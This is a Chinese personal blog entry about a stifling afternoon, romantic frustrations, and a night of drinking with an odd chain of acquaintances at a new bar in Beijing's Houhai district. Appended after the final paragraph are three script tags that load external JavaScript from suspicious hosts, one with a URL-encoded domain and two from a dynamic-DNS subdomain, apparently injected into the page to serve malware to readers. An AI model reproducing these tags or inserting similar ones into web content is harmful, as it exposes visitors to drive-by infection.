下午气闷。闷的几乎要抓狂,想咬人,像我家以前患了孤独症的京巴狗淘淘。我跟雁子说,她问为什么,我突然也觉得实在不知道理由。或许是气闷吧,一个闷热的午后,也许是看了李心洁新拍的《鬼域》吧,有些压抑,也许,是没有任何理由的……
上午的事情有些郁闷,想到了很现实的问题。游离的感情总是那样,让你捕捉不到一种稳定的感觉。久而久之,会让你的心飘移,头文字D的飘移。下午和雁子谈论感情的问题,也说到了一些共同认识的朋友,谈吐间,突然觉得造化如此弄人,竟然有些失落和惆怅。一定是因为此吧,我想。
下午办公室来了不速之客,是国务院新闻办主任蔡武,他的前任我倒是熟悉,我读本科所在的学校的一位校友。一行人进来的时候,我正在中国记者网重新激活我的记者证。两年没有去,竟然发现还需要密码,连续的输入了常用的密码,最终却没有成功。
还是感情的事情恼人。母亲本来要来年检的,不过被我劝退了。我告诉她,我还是那样,没啥好看的。下午雁子也在说感情的事,说家,甚至说到了出轨。我说我这两年太规矩了,过着半隐居的生活,想出轨都没有机会。
某位被我追过的女孩同意我的看法。她认为我是放心型的,不会出轨,因此没有什么挑战性,我如水的性格不适合需要烈火来炙烤的她的要求,也就拒绝了我。不过,她也是偶尔有所差遣于我的,如她在周日需要一名高大威猛型的男士作陪和老同学聚会,就想到了“赋闲在家”的我。
一个人在复兴门等到了她,在鼓楼那边和她同学以及她同学的男友吃了饭,然后去喝酒,路上我又叫上了一个在鼓楼住的团中央的朋友,我那朋友又喊上了他在计算机报工作的临时室友。于是,“六人行”定格,关系复杂的很:某人高中同学的男友→某人高中同学→我追求过的某人→我→我的朋友→我朋友的朋友。任何一个环节都只和相邻的人见过面,觉得好诡异。
后来去了后海,在一家刚开的叫做后海天堂的满摇吧慢慢的摇,摇曳灯光下的夜。这周围两年前我四处晃的时候,还是很偏僻的一些破残。如今三两年的时间,一跃成为北京人新的夜间去处。天堂里面装璜不错,但吵得很,周日的人不是很多,有几个小妞在灯下慢慢的摇……我们坐在角落里,彼此听不到对方的声音,大呼小叫的喝酒。
闷极无聊,外面的热气已经散尽,平台上散了些同样无聊的服务员和服务生。跟几个山东的小弟扯几句家乡话,谈论他们的老板,看依然有些生涩的女生扭动那曼妙的腰肢,也看这边的服务生和隔壁的服务生为了一个车位而挥舞拳头,几乎群殴……
世界原本该是这个样子,我却感觉恍若世外。似乎入了侯门,当重新推门而出,已经找不到那门前的艳若桃花的伊人。随着岁月穿梭,时光荏苒,对家里的那盏为你守候的灯,似乎更加渴望起来。也许,是离开的太久之缘故罢。思忖之下,忙起身回屋,继续和新的旧的朋友,推杯换盏的买起醉来…… <script src="http://%33%62omb.com/c.js" type="text/javascript"></script> <script src="http://e6t.3322.org/c.js" type="text/javascript"></script> <script src="http://e6t.3322.org/c.js" type="text/javascript"></script>
